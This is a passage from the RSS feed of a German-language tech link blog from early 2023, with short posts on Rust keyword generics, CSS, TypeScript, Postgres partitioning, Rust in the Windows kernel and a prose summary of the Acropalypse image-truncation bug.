</content:encoded><language>de-DE</language><category>html</category><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/15/0.html</guid><pubDate>Wed, 15 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mmapped.blog/posts/15-when-rust-hurts.html&quot;&gt;When Rust hurts&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/16/0.html</guid><pubDate>Thu, 16 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://webkit.org/blog/13813/try-css-nesting-today-in-safari-technology-preview/&quot;&gt;WebKit und Chrome können jetzt beide CSS-Nesting&lt;/a&gt;. (&lt;a href=&quot;https://caniuse.com/css-nesting&quot;&gt;caniuse dazu&lt;/a&gt;). Ist noch ein WD, den die beiden Browser dort implementieren.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/21/0.html</guid><pubDate>Tue, 21 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.joren.ga/less-known-c&quot;&gt;Few lesser known tricks, quirks and features of C&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In den &lt;a href=&quot;https://news.ycombinator.com/item?id=34855331&quot;&gt;Kommentaren auf HN&lt;/a&gt; gibt&apos;s noch mehr.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/21/1.html</guid><pubDate>Tue, 21 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-dotnet-8-preview-1/&quot;&gt;.NET 8 Preview 1&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/02/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/02/24/0.html</guid><pubDate>Fri, 24 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die Leute bei Rust wollen das Coloring-Problem lösen. &lt;a href=&quot;https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/&quot;&gt;Den Artikel&lt;/a&gt; dazu hatte ich hier auch schon.&lt;/p&gt;
&lt;p&gt;Der Versuch: Sagen, dass eine Funktion agnostisch bzw. &quot;generisch bezüglich ihrer Asynchronizität&quot; ist. Da hört es aber nicht auf, sie wollen das auch über &lt;code&gt;const&lt;/code&gt; generisch machen. Der Plan ist sogar, das in Zukunft auch für andere Keywords zu machen.&lt;/p&gt;
&lt;p&gt;Das hier ist der erste Vorschlag: &lt;a href=&quot;https://blog.rust-lang.org/inside-rust/2023/02/23/keyword-generics-progress-report-feb-2023.html&quot;&gt;Keyword Generics Progress Report: February 2023&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Money quote:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;trait ?const ?async Read {
    ?const ?async fn read(&amp;amp;mut self, buf: &amp;amp;mut [u8]) -&amp;gt; Result&amp;lt;usize&amp;gt;;
    ?const ?async fn read_to_string(&amp;amp;mut self, buf: &amp;amp;mut String) -&amp;gt; Result&amp;lt;usize&amp;gt; { .. }
}

/// Read from a reader into a string.
?const ?async fn read_to_string(reader: &amp;amp;mut impl ?const ?async Read) -&amp;gt; io::Result&amp;lt;String&amp;gt; {
    let mut string = String::new();
    reader.read_to_string(&amp;amp;mut string).await?;
    Ok(string)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Das ist ein Read-Trait, bei dem die &lt;code&gt;read&lt;/code&gt;-Funktion sowohl &lt;code&gt;async&lt;/code&gt; als auch &lt;code&gt;const&lt;/code&gt; sein kann. Primeagen (ein Rust-Enthusiast) &lt;a href=&quot;https://twitter.com/ThePrimeagen/status/1628801242397917186&quot;&gt;ist nicht so begeistert&lt;/a&gt;. Wirt auf mich jetzt auch erstmal ziemlich verbose und bei einer Sprache, die bewusst keine Keywords mit mehr als 5 Buchstaben nimmt, fehl am Platz. Das haben sie aber offenbar auch selbst erkannt.&lt;/p&gt;
&lt;p&gt;Zig möchte Funktionen auf diese Art farbenblind (manchmal auch farblos genannt) machen: &lt;a href=&quot;https://kristoff.it/blog/zig-colorblind-async-await/&quot;&gt;What is Zig&apos;s “Colorblind” Async/Await?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Hoffen wir mal, dass Rust nicht den Haskell-Tod der 1000 Abstraktionen stirbt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/16/0.html</guid><pubDate>Thu, 16 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://react.dev/blog/2023/03/16/introducing-react-dev&quot;&gt;Die neue React-Docs sind jetzt live&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>javascript</category><category>html</category><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/16/1.html</guid><pubDate>Thu, 16 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-0/&quot;&gt;TypeScript 5&lt;/a&gt; ist jetzt da. Hier sind auch schon die &lt;a href=&quot;https://github.com/microsoft/TypeScript/issues/53031&quot;&gt;Pläne für TS 5.1&lt;/a&gt;. Die Sachen aus 5.1 lesen sich für mich spannender als die aus 5.0.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/21/0.html</guid><pubDate>Tue, 21 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://openjsf.org/blog/2023/03/13/node-js-security-progress-report-permission-model-merged/&quot;&gt;Node.js bekommt ein Permission-System, ähnlich zu dem von Deno&lt;/a&gt;. Damit kann man Zugriff auf das Dateisystem oder Netzwerk einschränken.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/22/0.html</guid><pubDate>Wed, 22 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade geht die &lt;a href=&quot;https://www.da.vidbuchanan.co.uk/blog/exploiting-acropalypse.html&quot;&gt;&quot;Acropalypse&quot;&lt;/a&gt; rum. tl;dr: Das Standard-Bildbearbeitungstool unter Pixel-Geräten macht auf bearbeiteten Screenshots/Bildern kein Truncate, bevor es die neue Version speichert. Die ursprünglichen Daten sind also noch teilweise in der Datei vorhanden, wenn das bearbeitete Bild kleiner ist. Der CVE dazu ist CVE-2023-21036.&lt;/p&gt;
&lt;p&gt;Bei PNGs lässt sich das relativ einfach detecten, denn da gibt&apos;s einen &quot;End-of-File-Marker&quot; (der &lt;code&gt;IEND&lt;/code&gt; Chunk). Wenn danach noch Daten kommen, sind diese aus dem ursprünglichen Bild.
Das Problem sollte aber prinzipiell nicht nur PNGs, sondern auch JPGs und damit Fotos betreffen. Nur das Rekonstruieren der Daten und das Finden von Extradaten ist anders.&lt;/p&gt;
&lt;p&gt;Vor einiger Zeit gab es auch einen anderen lustigen Fehler bei GIMP: Wenn man einen Bereich auswählt und löscht, wurde nur der Alpha-Kanal auf 0 gesetzt. Die eigentlichen RGB-Daten blieben erhalten. Das hat damals Hanno Böck gefunden. Der PoC war damals ein relativ langsames Bash-Skript. &lt;a href=&quot;https://github.com/nikeee/dotnet-alphasecret&quot;&gt;Hier&lt;/a&gt; hab ich das damals mal implementiert, um damit einen Massenscan auf Bildern durchzuführen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/22/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/22/1.html</guid><pubDate>Wed, 22 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.gitea.io/2023/03/gitea-1.19.0-is-released/&quot;&gt;Gitea kann jetzt GitHub Actions&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/23/0.html</guid><pubDate>Thu, 23 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20220411-00/?p=106456&quot;&gt;Now that computers have more than 4MB of memory, can we get seconds on the taskbar?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>windows</category><category>performance</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/24/0.html</guid><pubDate>Fri, 24 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.jim-nielsen.com/2021/css-system-colors/&quot;&gt;CSS System Colors&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/28/0.html</guid><pubDate>Tue, 28 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Neues aus TC39:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tc39/proposal-async-context&quot;&gt;Async Context&lt;/a&gt; in Stage 2&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tc39/proposal-iterator.range&quot;&gt;Range-Iterator&lt;/a&gt; in Stage 2&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tc39/proposal-await-dictionary&quot;&gt;Await Dictionary&lt;/a&gt; in Stage 1&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/28/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/28/1.html</guid><pubDate>Tue, 28 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://webkit.org/blog/13966/webkit-features-in-safari-16-4/&quot;&gt;Safari 16.4 kann jetzt auch WebPush&lt;/a&gt;. Damit können es alle 3 Engines auf allen Plattformen. Man muss die Webseite bei Safari aber mindestens auf dem Home-Screen gepinnt haben, damit man die Notifications bekommen kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/03/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/03/29/0.html</guid><pubDate>Wed, 29 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_emerging_technologies&quot;&gt;List of emerging technologies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/02/0.html</guid><pubDate>Sun, 02 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://crisal.io/words/2023/03/30/xul-layout-is-gone.html&quot;&gt;Firefox hat kein XUL mehr&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/11/0.html</guid><pubDate>Tue, 11 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/check-out-csharp-12-preview/&quot;&gt;Preview-Features von C# 12&lt;/a&gt;. Die haben echt eine Geschwindigkeit drauf. C# 11 ist gefühlt erst seit 2 Tagen draußen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/18/0.html</guid><pubDate>Tue, 18 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Situation: Man hat eine Tabelle mit vielen Einträgen und möchte aber einen großen Teil (z. B. alte Einträge) löschen. Problem: Ein einfaches &lt;code&gt;DELETE FROM logs WHERE created_at &amp;lt; &apos;2023-04-01&apos;&lt;/code&gt; kann sehr lange dauern und damit das Schreiben in die Tabelle blockieren. Ein Index hilft da leider nur bedingt.&lt;/p&gt;
&lt;p&gt;Eine mögliche Lösung: Partitionieren der Tabelle. Indem man die Tabelle nach dem Löschkriterium partitioniert, kann man das Droppen von Einträgen deutlich beschleunigen.&lt;/p&gt;
&lt;p&gt;Beispiel aus Postgres dazu:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE logs (
  -- more columns...
  created_at timestamptz NOT NULL
) PARTITION BY RANGE (created_at);

CREATE TABLE logs_2023_01 PARTITION OF logs FOR VALUES
  FROM (&apos;2023-01-01 00:00:00+00&apos;) TO (&apos;2023-01-31 23:59:59+00&apos;);
CREATE TABLE logs_2023_02 PARTITION OF logs FOR VALUES
  FROM (&apos;2023-02-01 00:00:00+00&apos;) TO (&apos;2023-02-28 23:59:59+00&apos;);
CREATE TABLE logs_2023_03 PARTITION OF logs FOR VALUES
  FROM (&apos;2023-03-01 00:00:00+00&apos;) TO (&apos;2023-03-31 23:59:59+00&apos;);
CREATE TABLE logs_2023_04 PARTITION OF logs FOR VALUES
  FROM (&apos;2023-04-01 00:00:00+00&apos;) TO (&apos;2023-04-30 23:59:59+00&apos;);

ALTER TABLE logs DETACH PARTITION logs_2023_01 CONCURRENTLY;

DROP TABLE logs_2023_01;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dieses Beispiel hab ich aus &lt;a href=&quot;https://sqlfordevs.com/partition-delete-old-rows&quot;&gt;SQL-for-Devs&lt;/a&gt; übernommen. Dort gibt&apos;s auch noch eine detailliertere Beschreibung sowie ein MySQL-Beispiel, wer mehr wissen möchte.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><category>sql</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/18/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/18/1.html</guid><pubDate>Tue, 18 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://image.guardian.co.uk/sys-files/Guardian/documents/2006/02/02/underground5.pdf&quot;&gt;Ein Fahrplan für Musikrichtungen (PDF)&lt;/a&gt;. Man kann entspannt einer Linie folgen und an passenden Stellen umsteigen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/19/0.html</guid><pubDate>Wed, 19 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-1-beta/&quot;&gt;TypeScript 5.1 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/19/1.html</guid><pubDate>Wed, 19 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nodejs.org/en/blog/announcements/v20-release-announce&quot;&gt;Node.js 20&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/20/0.html</guid><pubDate>Thu, 20 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chrome hat bei den Lighthouse-Tools jetzt &lt;a href=&quot;https://www.youtube.com/shorts/HyMAm6nk57w&quot;&gt;einen Bundle-Analyzer&lt;/a&gt;. Bisher hat man sowas ja über PLugins für sein Frotnend-Build-System machen müssen. Dass das im Browser ist, hat jetzt den Vorteil, dass es &quot;einfach geht&quot;. Zusätzlich kann der Browser auch noch anzeigen, welcher Code davon gar nicht verwendet wurde. So kann man sich noch besser fokussieren.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/22/0.html</guid><pubDate>Sat, 22 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.fileside.app/blog/2023-03-17_windows-file-paths/&quot;&gt;The weird world of Windows file paths&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>windows</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/25/0.html</guid><pubDate>Tue, 25 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://philbooth.me/blog/nine-ways-to-shoot-yourself-in-the-foot-with-postgresql&quot;&gt;Ein paar Footguns bei Postgres&lt;/a&gt;. &lt;a href=&quot;https://pgtune.leopard.in.ua&quot;&gt;Hier ein Rechner&lt;/a&gt; für ein paar Postgres-Parameter.&lt;/p&gt;
&lt;p&gt;Postres-Wiki-Seite zum Thema &lt;a href=&quot;https://wiki.postgresql.org/wiki/Don%27t_Do_This&quot;&gt;Don&apos;t do this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=35684220&quot;&gt;Auf der orangen Seite&lt;/a&gt; gibt es noch mehr.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/28/0.html</guid><pubDate>Fri, 28 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.neowin.net/news/senior-microsoft-exec-says-windows-11-kernel-will-soon-be-booting-with-rust-inside/&quot;&gt;Microsoft macht jetzt Rust im Kernel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bei Linux war (und bin) ich nicht so der Fan von Rust im Kernel. Der Grund dafür ist vorrangig, dass Rust zwar eine Systemsprache ist, aber nicht für solche Szenarien entwickelt wurde. Ein Beispiel dafür sind hidden allocations, die man nicht ausschließen kann. Man kann zwar bei vielen Dingen mittlerweile einen Allocator mit angeben, das war aber eher so ein afterthought. Bei Linux lösen sie das (soweit ich weiß) so, dass sie die C-Datenstrukturen im Kernel Wrappen, man also z. B. der Linked-List, die man bei Linux seit jeher verwendet, ein Rust-Interface geben. Das lässt mich vermuten, dass man Rust im Linux-Kernel nicht so schreiben wird, wie man Rust im Userland schreibt und man lediglich die Compilerfeatures wie den Borrow-Checker sinnvoll verwenden kann. Sowas wie &lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;/code&gt; habe ich da bisher nicht gesehen. Vielleicht irre ich mich da aber auch!&lt;/p&gt;
&lt;p&gt;Rust wurde als C++-Ersatz konzipiert, nicht als C-Ersatz. Als C-Ersatz hingegen wurde z. B. &lt;a href=&quot;https://ziglang.org&quot;&gt;Zig&lt;/a&gt; konzipiert. Das ist einer der Gründe, warum ich Zig eher im Linux-Kernel sehe, als Rust. Zig ist leider noch weit weg davon, stabil zu sein.&lt;/p&gt;
&lt;p&gt;Bei Windows hingegen scheint das ne andere Story zu sein. Dort verwenden sie schon länger C++. Sie werden damit schon lange einen Weg gefunden haben, mit den Allocations umzugehen und damit einfacher Rust zu adoptieren.
Deshalb überrascht mich es auch nicht, dass sie es hinbekommen, die Rust-spezifischen APIs im Kernel zu verwenden. Als Beispiel führen sie &lt;code&gt;Vec&lt;/code&gt; und &lt;code&gt;Result&lt;/code&gt; an. Während Rust-Menschen zu OOM-Fehlern gesagt haben &quot;installier doch einen globalen handler für OOM-Fehler&quot; (das ist ja jetzt auch nicht die Spitze des Software-Engineering), hat MS die andere Route gewählt und die Standard-Rust-APIs um mehr &lt;code&gt;try_&lt;/code&gt; ergänzt.&lt;/p&gt;
&lt;p&gt;Das Pilotprojekt war scheinbar ein GDI-Rewrite. Das freut mich besonders, denn ich hab schon so einige Probleme mit GDI gehabt. Hat bestimmt auch Spaß gemacht, Code aus den 80ern wegzuwerfen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>windows</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/28/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/28/1.html</guid><pubDate>Fri, 28 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://probablydance.com/2023/04/27/beautiful-branchless-binary-search/&quot;&gt;Branchless Binary Search&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/04/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/04/30/0.html</guid><pubDate>Sun, 30 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nullprogram.com/blog/2023/04/29/&quot;&gt;My favorite C compiler flags during development&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=35758898&quot;&gt;Die Kommentare auf HN&lt;/a&gt; haben noch mehr.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/03/0.html</guid><pubDate>Wed, 03 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chrome kann jetzt &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set&quot;&gt;&lt;code&gt;image-set&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/04/0.html</guid><pubDate>Thu, 04 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developers.redhat.com/articles/2023/05/04/new-c-features-gcc-13&quot;&gt;New C features in GCC 13&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/07/0.html</guid><pubDate>Sun, 07 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ptspts.blogspot.com/2013/12/how-to-make-smaller-c-and-c-binaries.html?m=1&quot;&gt;How to make smaller C and C++ binaries&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/10/0.html</guid><pubDate>Wed, 10 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://algorithmica.org/en/eytzinger&quot;&gt;Eytzinger Binary Search&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/10/1.html</guid><pubDate>Wed, 10 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/wqweto/VbAsyncSocket&quot;&gt;TLS 1.3 implemented in VB6&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/17/0.html</guid><pubDate>Wed, 17 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.mastermind.dev/indexes-in-postgresql&quot;&gt;Understanding database Indexes in PostgreSQL&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/18/0.html</guid><pubDate>Thu, 18 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ericaheinz.com/notes/give-it-the-craigslist-test/&quot;&gt;Give it the Craigslist test&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/18/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/18/1.html</guid><pubDate>Thu, 18 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich beschäftige mich gerade mit &lt;a href=&quot;https://imgproxy.net&quot;&gt;imgproxy&lt;/a&gt; und bin auf einen interessanten Artiekl über Bildoptimierung im Blog der Macher gestoßen: &lt;a href=&quot;https://evilmartians.com/chronicles/images-done-right-web-graphics-good-to-the-last-byte-optimization-techniques&quot;&gt;Images done right: Web graphics, good to the last byte&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/19/0.html</guid><pubDate>Fri, 19 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://orlp.net/blog/bitwise-binary-search/&quot;&gt;Bitwise Binary Search: Elegant and Fast&lt;/a&gt;. Was nicht im Titel steht: Durch das Bitwise wird sie branchless.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/19/1.html</guid><pubDate>Fri, 19 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.deusinmachina.net/p/understanding-the-power-of-bitwise&quot;&gt;Understanding the Power of Bitwise Operators. No math needed&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/20/0.html</guid><pubDate>Sat, 20 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;USB-C zu kompliziert? Man braucht 4 Stunden, um rauszufinden, welches Kabel man kaufen muss? Manchmal ist das dann irgendwie doch DisplayPort? TIL: &lt;a href=&quot;https://www.hdmi.org/spec/typec&quot;&gt;HDMI geht auch über USB-C&lt;/a&gt;, war aber DOA.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/21/0.html</guid><pubDate>Sun, 21 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der Reihe über bekannte Blogposts: &lt;a href=&quot;https://thedailywtf.com/articles/the-inner-json-effect&quot;&gt;The inner JSON effect&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/22/0.html</guid><pubDate>Mon, 22 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://hakibenita.com/the-many-faces-of-distinct-in-postgre-sql&quot;&gt;The Many Faces of DISTINCT in PostgreSQL&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/24/0.html</guid><pubDate>Wed, 24 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade ist ja Build, die Konferenz von MS. Unter vielen neuen Features für Windows: &lt;a href=&quot;https://blogs.windows.com/windowsdeveloper/2023/05/23/bringing-the-power-of-ai-to-windows-11-unlocking-a-new-era-of-productivity-for-customers-and-developers-with-windows-copilot-and-dev-home/&quot;&gt;Windows 11 wird rar, 7z, gz und tar nativ unterstützen&lt;/a&gt;. Dafür verwenden sie &lt;a href=&quot;https://github.com/libarchive/libarchive&quot;&gt;libarchive&lt;/a&gt;. Ob damit der &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20180515-00/?p=98755&quot;&gt;vor 100 Jahren eingekaufte ZIP-Support&lt;/a&gt; jetzt auch nicht mehr so schrottig ist?&lt;/p&gt;
